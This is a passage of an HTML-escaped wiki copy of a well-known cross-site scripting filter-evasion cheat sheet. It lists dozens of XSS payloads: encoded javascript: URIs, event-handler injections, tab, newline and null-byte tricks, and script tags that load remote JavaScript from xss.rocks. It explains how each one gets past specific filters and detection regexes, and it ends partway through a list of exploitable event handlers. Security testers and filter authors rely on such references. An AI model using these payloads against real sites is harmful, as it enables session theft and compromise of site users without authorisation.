This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam(@Abdulahhusam).&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG  onerror and javascript alert encode==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=x onerror=&amp;quot;&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://xss.rocks/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//xss.rocks/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://xss.rocks/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SVG object tag ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;svg/onload=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECMAScript 6 ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Set.constructor`alert\x28document.domain\x29```&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
